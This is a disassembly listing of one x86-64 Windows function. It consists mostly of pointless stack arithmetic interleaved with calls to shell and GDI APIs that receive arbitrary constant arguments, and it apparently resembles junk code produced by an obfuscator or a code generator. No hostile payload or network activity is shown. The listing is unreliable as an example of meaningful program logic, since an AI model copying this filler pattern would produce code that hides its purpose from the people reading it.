movsx ecx, byte [rsp + 0x318]
movsx eax, byte [rsp + 0x2a0]
sub ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x608]
movzx ecx, al
mov rax, qword [rsp + 0x538]
shl rax, cl
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
movzx ecx, al
mov rax, qword [0x140018010]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0xd0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x334]
and eax, ecx
mov word [0x14001802c], ax
movzx r9d, word [0x140019360]
mov r8, qword [rsp + 0x400]
mov rdx, qword [rsp + 0x388]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x428]
call fcn.140001100
jmp 0x140009373
movsx ecx, word [rsp + 0x334]
movsx eax, word [rsp + 0x4c0]
sub ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rax, qword [rsp + 0xf0]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x178]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x638], al
movzx r9d, word [rsp + 0x528]
mov r8, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x4b0]
call fcn.140001100
mov eax, dword [rsp + 0x680]
movzx ecx, al
mov eax, dword [rsp + 0x590]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x210]
mov dword [rax], ecx
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5a0], rax
movsx edx, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x508]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [0x140019408], al
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x168]
add eax, ecx
mov word [rsp + 0x390], ax
jmp 0x14000943d
mov rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov edx, dword [rcx]
sub edx, eax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x680]
sar eax, cl
cmp edx, eax
jge 0x14000943d
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
movsx eax, word [0x14001801c]
or ecx, eax
mov rax, qword [rsp + 0x408]
mov word [rax], cx
call fcn.140009c50
movzx r9d, word [rsp + 0x9c]
mov rax, qword [rsp + 0x568]
movzx r8d, word [rax]
mov edx, dword [rsp + 0xa0]
mov rcx, qword [0x140019388]
call fcn.140009ca0
call fcn.1400010b0
mov r11, qword [rsp + 0x658]
mov ecx, dword [rsp + 0xe8]
mov eax, dword [r11]
sub eax, ecx
mov dword [rsp + 0x634], eax
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x400]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x198], rax
movzx r9d, word [rsp + 0x4d4]
movzx r8d, word [rsp + 0x9c]
mov edx, dword [rsp + 0x634]
mov rcx, qword [rsp + 0x198]
call fcn.140009ca0
movzx ecx, byte [rsp + 0x624]
mov rax, qword [rsp + 0x540]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x500]
movzx edx, word [rax]
mov rax, qword [rsp + 0x568]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x148], ax
jmp 0x140009573
movsx eax, byte [rsp + 0x508]
movsx ecx, byte [rsp + 0x3d8]
add eax, ecx
mov byte [rsp + 0x318], al
mov r9d, ILSaveToStream
mov r8, qword [rsp + 0xd8]
lea rdx, [rsp + 0x198]
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x144], eax
mov rax, qword [0x140019380]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x260]
sub ecx, eax
mov rax, qword [rsp + 0x188]
mov byte [rax], cl
call fcn.140009c50
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x3b0]
and eax, ecx
mov byte [rsp + 0x470], al
mov eax, dword [rsp + 0xa0]
movzx ecx, al
mov eax, dword [0x140019340]
shl eax, cl
mov dword [rsp + 0x358], eax
call fcn.1400010b0
mov r11, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x428]
and rcx, r11
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x448]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov eax, dword [0x140018018]
or eax, ecx
mov dword [rsp + 0x3a0], eax
movzx r9d, word [rsp + 0x328]
mov r8, qword [rsp + 0x698]
mov r8, qword [r8]
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
call fcn.140001100
mov rcx, qword [rsp + 0x4b0]
mov rax, qword [rsp + 0x150]
sub rax, rcx
mov qword [rsp + 0x5d8], rax
movzx ecx, byte [rsp + 0x318]
call fcn.140001050
mov rcx, qword [rsp + 0x658]
mov eax, dword [rsp + 0x180]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x198]
add rax, rcx
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x348]
sub eax, ecx
mov dword [rsp + 0x248], eax
movsx eax, word [rsp + 0x4c0]
movsx ecx, word [rsp + 0x120]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x320]
mov byte [rax], cl
mov rax, qword [rsp + 0x200]
movzx edx, word [rax]
movzx eax, word [rsp + 0x148]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4d4], ax
movsx edx, byte [rsp + 0x318]
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x2ec], al
movsx ecx, byte [0x140019344]
movsx eax, byte [rsp + 0x638]
or ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
jmp 0x140009786
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
mov rax, qword [rsp + 0x200]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x318]
add ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
xor eax, ecx
mov byte [rsp + 0x470], al
movsx edx, word [rsp + 0x670]
movsx eax, word [0x140019360]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4c0], ax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x150]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x248]
and eax, ecx
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b0]
sub rcx, rax
mov rax, qword [rsp + 0x510]
mov qword [rax], rcx
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
add eax, dword [rsp + 0xa0]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b8]
and eax, ecx
mov byte [0x140019344], al
movzx r9d, word [rsp + 0x670]
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
call fcn.140001100
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
xor eax, ecx
mov byte [rsp + 0x2ec], al
movsx edx, word [rsp + 0x418]
movsx eax, word [rsp + 0x670]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4c0], ax
lea r8, [rsp + 0x458]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x458]
call qword [sym.imp.GDI32.dll_CombineTransform]
mov dword [rsp + 0x3f8], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x4b0]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
jmp 0x14000995a
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rsp + 0x180]
add eax, ecx
mov dword [rsp + 0xe8], eax
movsx ecx, byte [rsp + 0x260]
movsx eax, byte [rsp + 0x5b8]
add ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x3b0]
sub eax, ecx
mov byte [rsp + 0x470], al
mov rax, qword [rsp + 0x170]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xe8]
call fcn.140001150
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x150]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x348]
sub eax, ecx
mov dword [rsp + 0x248], eax
movzx edx, byte [rsp + 0x3b0]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [0x140018002], al
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
mov rax, qword [rsp + 0x458]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x390], ax
lea r9, [rsp + 0x218]
mov r8d, 0xf7
mov edx, 0x39
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.GDI32.dll_DrawEscape]
mov dword [rsp + 0x680], eax
movzx ecx, byte [0x140018002]
movzx eax, byte [rsp + 0x99]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1d8]
movzx ecx, byte [rax]
call fcn.140001050
jmp 0x140009aa9
movzx edx, byte [rsp + 0x2ed]
movzx eax, byte [rsp + 0x99]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
movsx eax, byte [rsp + 0x2ec]
movsx ecx, byte [0x140019344]
xor eax, ecx
mov byte [rsp + 0x260], al
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x2ed], al
movzx r9d, word [rsp + 0x168]
movzx r8d, word [rsp + 0x168]
mov edx, dword [rsp + 0x680]
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
call fcn.140009ca0
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x2b0]
or rax, rcx
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x4b0]
shl rax, 0x21
mov qword [rsp + 0x150], rax
movzx r9d, word [rsp + 0x670]
mov r8, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x4b0]
call fcn.140001100
movsx eax, word [section..data]
movsx ecx, word [0x140019360]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x99]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
movsx eax, byte [rsp + 0x260]
movsx ecx, byte [rsp + 0x2ec]
add eax, ecx
mov byte [0x140019344], al
movzx eax, byte [rsp + 0x470]
movzx ecx, byte [rsp + 0x2ed]
sub eax, ecx
mov byte [0x140018002], al
movsx eax, word [0x140019360]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x670], ax
mov dword [rsp + 0x28], 0x46
lea rax, [rsp + 0x628]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x168]
mov r8d, 0xc5
mov edx, 0xe7
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x31c], eax
movzx ecx, byte [rsp + 0x470]
movzx eax, byte [rsp + 0x2ed]
and ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
call fcn.140009c50
mov eax, dword [rsp + 0x634]
add rsp, 0x768
ret